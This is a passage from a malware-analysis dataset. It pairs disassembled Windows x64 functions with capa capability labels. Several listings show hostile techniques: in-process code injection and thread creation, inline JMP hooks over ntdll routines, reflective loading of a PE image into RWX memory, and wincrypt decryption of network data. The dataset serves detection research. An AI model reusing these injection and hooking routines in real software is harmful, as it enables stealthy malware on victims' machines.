joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006178
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov ebx, r8d
mov r12, rdx
mov r13, rcx
call fcn.140004468
xor ebp, ebp
and dword [rsp + 0x88], ebp
and dword [rsp + 0x30], ebp
cmp qword [0x14000ff88], rbp
mov rdi, rax
jne 0x1400062ab
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
mov rsi, rax
jne 0x1400061d7
xor eax, eax
jmp 0x14000638b
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400061d0
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000ff88], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000ff90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rcx, [rsp + 0x88]
mov qword [0x14000ff98], rax
call fcn.140003528
test eax, eax
je 0x14000625e
and qword [rsp + 0x20], rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.1400031bc
cmp dword [rsp + 0x88], 2
jne 0x1400062ab
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
test rax, rax
mov qword [0x14000ffa8], rax
je 0x1400062ab
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14000ffa0], rax
mov rcx, qword [0x14000ffa0]
cmp rcx, rdi
je 0x14000633d
cmp qword [0x14000ffa8], rdi
je 0x14000633d
call sub.KERNEL32.dll_DecodePointer
call rax
test rax, rax
mov rsi, rax
je 0x140006308
mov rcx, qword [0x14000ffa8]
call sub.KERNEL32.dll_DecodePointer
lea rcx, [rsp + 0x34]
mov r9d, 0xc
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
lea r8, [rsp + 0x38]
mov rcx, rsi
call rax
test eax, eax
je 0x140006308
test byte [rsp + 0x40], 1
jne 0x14000633d
lea rcx, [rsp + 0x30]
call fcn.14000356c
test eax, eax
je 0x14000632a
and qword [rsp + 0x20], rbp
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.1400031bc
cmp dword [rsp + 0x30], 4
jb 0x140006337
bts ebx, 0x15
jmp 0x140006371
bts ebx, 0x12
jmp 0x140006371
mov rcx, qword [0x14000ff90]
cmp rcx, rdi
je 0x140006371
call sub.KERNEL32.dll_DecodePointer
call rax
test rax, rax
mov rbp, rax
je 0x140006371
mov rcx, qword [0x14000ff98]
cmp rcx, rdi
je 0x140006371
call sub.KERNEL32.dll_DecodePointer
mov rcx, rbp
call rax
mov rbp, rax
mov rcx, qword [0x14000ff88]
call sub.KERNEL32.dll_DecodePointer
mov r9d, ebx
mov r8, r12
mov rdx, r13
mov rcx, rbp
call rax
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x140007754
Capabilities:
Get system information on windows

Disassembly:
push rbp
push r12
push r13
sub rsp, 0x90
lea rbp, [rsp + 0x20]
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rsi
mov qword [rbp + 0xa0], rdi
mov rax, qword [0x14000e008]
xor rax, rbp
mov qword [rbp + 0x68], rax
mov eax, dword [rsp]
sub rsp, 0x10
lea r12, [rsp + 0x20]
mov eax, dword [r12]
lea rdx, [rbp + 8]
mov r8d, 0x30
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000785a
mov r13, qword [rbp + 0x10]
lea rcx, [rbp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [rbp + 0x3c]
lea rcx, [rbp]
xor ebx, ebx
and dword [rbp], ebx
call qword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
cmp eax, 1
jne 0x1400077e2
mov eax, dword [rbp]
test eax, eax
cmovne ebx, eax
lea edx, [rdi - 1]
lea ecx, [rdx + rbx]
cmp ecx, ebx
jb 0x14000785a
mov eax, edx
not eax
and ecx, eax
je 0x1400077fd
lea eax, [rcx + rdi]
cmp eax, ecx
jb 0x14000785a
mov ecx, eax
lea eax, [rdi + rdi*2]
mov ebx, edx
cmp ecx, eax
not rbx
cmovb ecx, eax
and rbx, r12
lea rax, [r13 + rdi]
mov esi, ecx
sub rbx, rsi
cmp rbx, rax
jb 0x14000785a
mov r9d, 4
mov r8d, 0x1000
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test rax, rax
je 0x14000785a
lea r9, [rbp + 4]
mov r8d, 0x104
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x14000785a
mov eax, 1
jmp 0x14000785c
xor eax, eax
mov rcx, qword [rbp + 0x68]
xor rcx, rbp
call fcn.1400026b0
mov rbx, qword [rbp + 0x90]
mov rsi, qword [rbp + 0x98]
mov rdi, qword [rbp + 0xa0]
lea rsp, [rbp + 0x70]
pop r13
pop r12
pop rbp
ret
Function at 0x140001fb0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140007100]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140002004
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x140001ffb
test r12, r12
je 0x140001ffb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001fe0
lea rcx, [0x140007100]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002340
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140004400]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x1400023b9
mov rcx, r10
call fcn.140002210
test eax, eax
je 0x1400023b9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x1400023b6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x1400023ad
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x1400023b9
add r8, 0x28
cmp r8, r9
jne 0x140002398
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x140002790
Capabilities:
Create thread
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
lea rsi, str.Kernel32.dll
movabs rax, 0x12140a0f06152c24
mov rbp, rcx
lea rdi, [rsp + 0x50]
mov ecx, 0xd
mov rbx, rdx
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x5d]
mov ecx, 0xf
lea rsi, [0x140004033]
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x7d]
mov ecx, 0x13
lea rsi, [0x140004042]
rep movsb byte [rdi], byte [rsi]
lea rsi, [rsp + 0x5d]
mov qword [rsp + 0x6c], rax
movabs rdx, 0xa22311128255d06
mov rcx, rsi
mov qword [rsp + 0x74], rdx
lea r15, [rsp + 0x7d]
lea r14, [rsp + 0x6c]
mov byte [rsp + 0x7c], 0
call sub.msvcrt.dll_strlen
mov r8, rbx
mov rcx, rsi
mov rdx, rax
call fcn.140002750
mov rcx, r15
call sub.msvcrt.dll_strlen
mov r8, rbx
mov rcx, r15
mov rdx, rax
call fcn.140002750
mov rcx, r14
call sub.msvcrt.dll_strlen
mov r8, rbx
mov rcx, r14
mov rdx, rax
call fcn.140002750
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r13, qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.GetCurrentProcess
mov r12, rax
mov rcx, rax
call r13
mov rdx, rsi
mov rcx, r12
call r13
mov rdx, r15
mov rcx, r12
mov qword [rsp + 0x38], rax
call r13
mov rdx, r14
mov rcx, r12
mov r15, rax
call r13
lea rdx, str.WaitForSingleObject
mov rcx, r12
mov rsi, rax
call r13
mov rcx, rbp
mov dword [rsp + 0x48], 4
call sub.msvcrt.dll_strlen
lea edi, [rax + 1]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r10, qword [rsp + 0x38]
mov r8, rdi
xor edx, edx
mov r13, rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, rax
call r10
mov r9, rdi
mov r8, rbp
mov rcx, r13
mov qword [rsp + 0x20], 0
mov r12, rax
mov rdx, rax
call r15
mov r8, rbx
mov edx, edi
mov rcx, r12
call fcn.140002750
lea rax, [rsp + 0x48]
mov r8, rdi
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x20], rax
mov r9d, 0x20
call rsi
lea rax, [rsp + 0x4c]
xor r9d, r9d
mov r8, r12
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateThread]
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
nop
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x180002f80
Capabilities:
Resume thread

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x30
mov r9, qword [rsp + 0x68]
mov rax, r8
mov r8, qword [rsp + 0x60]
mov rsi, rdx
mov rbp, rcx
xor ebx, ebx
mov qword [r11 - 0x10], rbx
mov edx, 0x100000
mov rcx, rax
mov dword [rsp + 0x20], 4
call fcn.180008508
mov rdi, rax
test rax, rax
jne 0x180002fd4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180003025
test rbp, rbp
je 0x180003006
test rsi, rsi
je 0x180003006
xor r8d, r8d
mov edx, 0x20196
mov rcx, rsi
call fcn.180004430
mov r8, rsi
mov rdx, rbp
xor ecx, ecx
call fcn.180004ac4
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x18000301c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1800052f8
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
mov edx, 0x5c
mov rbx, rcx
call fcn.180014ccc
test rax, rax
je 0x18000531b
lea rbx, [rax + 1]
xor ecx, ecx
mov edx, 0x1a0
mov r8d, 0x1000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x180030ac8], rax
test rax, rax
je 0x1800053cc
mov rcx, rax
call fcn.18000573c
mov rcx, qword [0x180030ac8]
mov r9d, 0xff
lea edx, [r9 + 1]
mov r8, rbx
call fcn.180014c10
mov rcx, qword [0x180030ac8]
call fcn.1800140a0
mov rcx, qword [0x180030ac8]
inc eax
mov dword [rcx + 0x100], eax
mov rax, qword [0x180030ac8]
mov qword [rax + 0x108], rdi
mov rcx, qword [0x180030ac8]
call fcn.180005ac0
mov rcx, qword [0x180030ac8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [0x180030ac8]
mov rbx, rax
call fcn.180005984
mov rcx, qword [0x180030ac8]
xor edx, edx
mov r8d, 0x8000
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180005674
Capabilities:
Allocate or change rwx memory

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x60
mov rbx, r8
lea rax, [r11 + 0x18]
mov rsi, r9
mov rdi, rdx
mov r8, rdx
mov r9d, 5
or rcx, 0xffffffffffffffff
mov rdx, rbx
mov qword [r11 - 0x48], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, edi
lea rdx, [rsp + 0x30]
sub eax, ebx
mov r8d, 0x30
mov rcx, rdi
sub eax, 5
mov byte [rbx + 5], 0xe9
mov dword [rbx + 6], eax
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x54]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
sub esi, edi
lea r9, [rsp + 0x78]
sub esi, 5
mov byte [rdi], 0xe9
mov dword [rdi + 1], esi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x30]
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x18000573c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1800058b8
lea rdx, str.NtMapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryAttributesFile
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenSection
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbx, [r13 + 0x144]
lea r9, [0x180005614]
mov rdx, rdi
mov rcx, r13
mov r8, rbx
mov r12, rax
call fcn.180005674
mov qword [r13 + 0x190], rbx
lea rbx, [r13 + 0x126]
lea r9, [0x1800054d8]
mov r8, rbx
mov rdx, rsi
mov rcx, r13
call fcn.180005674
mov qword [r13 + 0x178], rbx
lea rbx, [r13 + 0x130]
lea r9, [0x180005558]
mov r8, rbx
mov rdx, rbp
mov rcx, r13
call fcn.180005674
mov qword [r13 + 0x180], rbx
lea rbx, [r13 + 0x13a]
lea r9, [0x1800055e4]
mov r8, rbx
mov rdx, r14
mov rcx, r13
call fcn.180005674
mov qword [r13 + 0x188], rbx
lea rbx, [r13 + 0x11c]
lea r9, [0x18000546c]
mov r8, rbx
mov rdx, r15
mov rcx, r13
call fcn.180005674
mov qword [r13 + 0x170], rbx
lea rbx, [r13 + 0x14e]
lea r9, [0x180005654]
mov r8, rbx
mov rdx, r12
mov rcx, r13
call fcn.180005674
mov qword [r13 + 0x198], rbx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1800058dc
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rdi, rdx
mov rbx, r8
lea rdx, [rsp + 0x38]
mov rcx, rdi
mov r8d, 0x30
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x5c]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, rbx
lea rax, [rsp + 0x30]
or rbx, 0xffffffffffffffff
mov r9d, 5
mov rdx, rdi
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r8d, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
lea r9, [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x180005984
Capabilities:
Link many functions at runtime

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r13
push r14
push r15
sub rsp, 0x20
mov r13, rcx
lea rcx, [0x1800236bc]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r15, rax
test rax, rax
je 0x180005a9b
lea rdx, str.NtMapViewOfSection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtQueryAttributesFile
mov rcx, r15
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenFile
mov rcx, r15
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtCreateSection
mov rcx, r15
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtOpenSection
mov rcx, r15
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NtClose
mov rcx, r15
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [r13 + 0x144]
mov rdx, rbx
mov rcx, r13
mov r15, rax
call fcn.1800058dc
lea r8, [r13 + 0x126]
mov rdx, rdi
mov rcx, r13
call fcn.1800058dc
lea r8, [r13 + 0x130]
mov rdx, rsi
mov rcx, r13
call fcn.1800058dc
lea r8, [r13 + 0x13a]
mov rdx, rbp
mov rcx, r13
call fcn.1800058dc
lea r8, [r13 + 0x11c]
mov rdx, r14
mov rcx, r13
call fcn.1800058dc
lea r8, [r13 + 0x14e]
mov rdx, r15
mov rcx, r13
call fcn.1800058dc
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r13
ret
Function at 0x180005ac0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rax, qword [rcx + 0x108]
mov rdi, rcx
mov esi, 0x40
movsxd rbx, dword [rax + 0x3c]
mov ebp, 0x3000
mov r9d, esi
add rbx, rax
mov r8d, ebp
mov edx, dword [rbx + 0x50]
mov rcx, qword [rbx + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r14d, r14d
mov qword [rdi + 0x110], rax
test rax, rax
jne 0x180005b25
mov edx, dword [rbx + 0x50]
mov r9d, esi
mov r8d, ebp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rdi + 0x110], rax
mov eax, dword [rbx + 0x50]
lea rcx, [0x1800236bc]
mov dword [rdi + 0x118], eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtLockVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
or r15, 0xffffffffffffffff
test rax, rax
je 0x180005b7a
mov rcx, qword [rdi + 0x110]
lea r9d, [r15 + 2]
lea r8, [rsp + 0x60]
mov qword [rsp + 0x68], rcx
mov ecx, dword [rbx + 0x50]
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x60], ecx
mov rcx, r15
call rax
mov r9d, dword [rbx + 0x54]
mov r8, qword [rdi + 0x108]
mov rdx, qword [rdi + 0x110]
mov rcx, r15
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 0x14]
mov ebp, r14d
cmp r14w, word [rbx + 6]
jae 0x180005be3
lea rsi, [rbx + 0x2c]
add rsi, rax
mov r8d, dword [rsi]
mov edx, dword [rsi - 8]
mov r9d, dword [rsi - 4]
add r8, qword [rdi + 0x108]
add rdx, qword [rdi + 0x110]
mov rcx, r15
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc ebp
lea rsi, [rsi + 0x28]
cmp ebp, eax
jl 0x180005baf
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800060fc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rdx
mov rdi, rcx
xor ebx, ebx
test rcx, rcx
jne 0x18000612d
xor eax, eax
jmp 0x1800061cc
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rbx
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
add rcx, rdi
mov r12d, dword [rcx + 0x1c]
add r12, rdi
mov r15d, dword [rcx + 0x20]
add r15, rdi
mov qword [rsp + 0x28], r15
mov r14d, dword [rcx + 0x24]
add r14, rdi
mov qword [rsp + 0x30], r14
test rdx, 0xffffffffffff0000
jne 0x180006175
movzx eax, dx
sub eax, dword [rcx + 0x10]
jmp 0x18000619e
mov esi, dword [rcx + 0x18]
mov dword [rsp + 0x20], esi
mov eax, esi
dec esi
mov dword [rsp + 0x20], esi
test eax, eax
je 0x1800061c0
mov ecx, dword [r15]
add rcx, rdi
mov rdx, r13
call fcn.180014ab0
test eax, eax
jne 0x1800061ac
movzx eax, word [r14]
mov ebx, dword [r12 + rax*4]
add rbx, rdi
mov qword [rsp + 0x38], rbx
jmp 0x1800061c0
add r15, 4
mov qword [rsp + 0x28], r15
add r14, 2
mov qword [rsp + 0x30], r14
jmp 0x18000617c
jmp 0x1800061c9
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
ret

Function at 0x180006330
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x30
mov edi, edx
mov rbx, rcx
and qword [rax - 0x18], 0
and dword [rax + 8], 0
and dword [rax + 0x20], 0
test rcx, rcx
je 0x1800063cb
test edx, edx
je 0x1800063cb
mov rdx, r8
call fcn.1800061f4
test eax, eax
je 0x1800063c0
mov esi, eax
add rsi, rbx
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, edi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800063c0
call rsi
test rax, rax
je 0x1800063aa
lea r8, [rsp + 0x20]
mov edx, 6
xor ecx, ecx
call rax
neg eax
sbb rcx, rcx
and rcx, qword [rsp + 0x20]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x58]
mov r8d, dword [rsp + 0x40]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [rsp + 0x20]
jmp 0x1800063c9
jmp 0x1800063cd
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x1800065b8
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
test r8d, r8d
je 0x1800065d9
mov r10d, r8d
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + rcx]
xor byte [rdx], al
inc rdx
dec r10
jne 0x1800065c3
ret
Function at 0x180006dac
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp qword [0x180030ad0], 0
mov rbx, rcx
jne 0x180006dd2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [0x180030ad0], rax
mov rcx, rbx
call fcn.180009a44
cmp dword [rbx + 8], 0xa2a1de0
mov edi, eax
je 0x180006e15
cmp dword [rbx + 8], 0x56a2b5f0
je 0x180006e0c
cmp dword [rbx + 8], 0xea320efe
jne 0x180006dff
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov eax, edi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x180006e6c
Capabilities:
Encrypt or decrypt via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdi, r8
mov r13, rdx
mov r15, rcx
lea r8d, [r9 - 4]
lea rdx, [rdi + 4]
xor ebx, ebx
and qword [rbp - 0x10], rbx
mov rcx, rdi
call fcn.1800065b8
lea edx, [rbx + 0x48]
lea ecx, [rbx + 1]
call fcn.180013d1c
mov rsi, rax
test rax, rax
jne 0x180006ebd
lea ebx, [rax + 8]
jmp 0x180006ff6
mov ecx, dword [rdi + 0x14]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [r15 + 0xa0]
test rcx, rcx
je 0x180006fa4
cmp dword [rcx + 0x14], ebx
je 0x180006fa4
test eax, eax
je 0x180006fa4
mov ecx, dword [rdi + 0x18]
call qword [sym.imp.WS2_32.dll_ntohl]
mov rcx, qword [r15 + 0xa0]
lea r9, [rbp - 0x10]
sub eax, 0x18
xor r8d, r8d
xor edx, edx
mov dword [rbp + 0x58], eax
mov rcx, qword [rcx + 8]
lea r12, [rdi + 0x30]
call qword [sym.imp.ADVAPI32.dll_CryptDuplicateKey]
test eax, eax
jne 0x180006f25
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x180006fea
mov rcx, qword [rbp - 0x10]
xor r9d, r9d
lea r8, [rbp + 0x50]
lea edx, [r9 + 4]
mov dword [rbp + 0x50], 1
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x180006f18
mov rcx, qword [rbp - 0x10]
xor r9d, r9d
lea r8, [rdi + 0x20]
lea edx, [r9 + 1]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x180006f18
mov rcx, qword [rbp - 0x10]
xor r9d, r9d
lea rax, [rbp + 0x58]
mov qword [rsp + 0x28], rax
lea r8d, [r9 + 1]
xor edx, edx
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x180006f18
mov edx, dword [rbp + 0x58]
lea rcx, [rdi + 0x20]
mov r8, r12
mov r9d, edx
call fcn.1800151b0
mov ecx, dword [rbp + 0x58]
add ecx, 8
call qword [sym.imp.WS2_32.dll_htonl]
mov dword [rdi + 0x18], eax
mov ecx, dword [rdi + 0x18]
mov dword [rsi + 0x18], ecx
mov eax, dword [rdi + 0x1c]
mov dword [rsi + 0x1c], eax
call qword [sym.imp.WS2_32.dll_ntohl]
add eax, 0xfffffff8
mov ecx, eax
mov dword [rsi + 0x28], eax
mov r14d, eax
call fcn.180013508
mov qword [rsi + 0x20], rax
test rax, rax
jne 0x180006fd4
lea ebx, [rax + 8]
jmp 0x180006fee
lea r8, [rdi + 0x20]
mov r9, r14
mov rdx, r14
mov rcx, rax
call fcn.180015128
mov qword [r13], rsi
test ebx, ebx
je 0x180006ff6
mov rcx, rsi
call fcn.180004244
mov rcx, qword [rbp - 0x10]
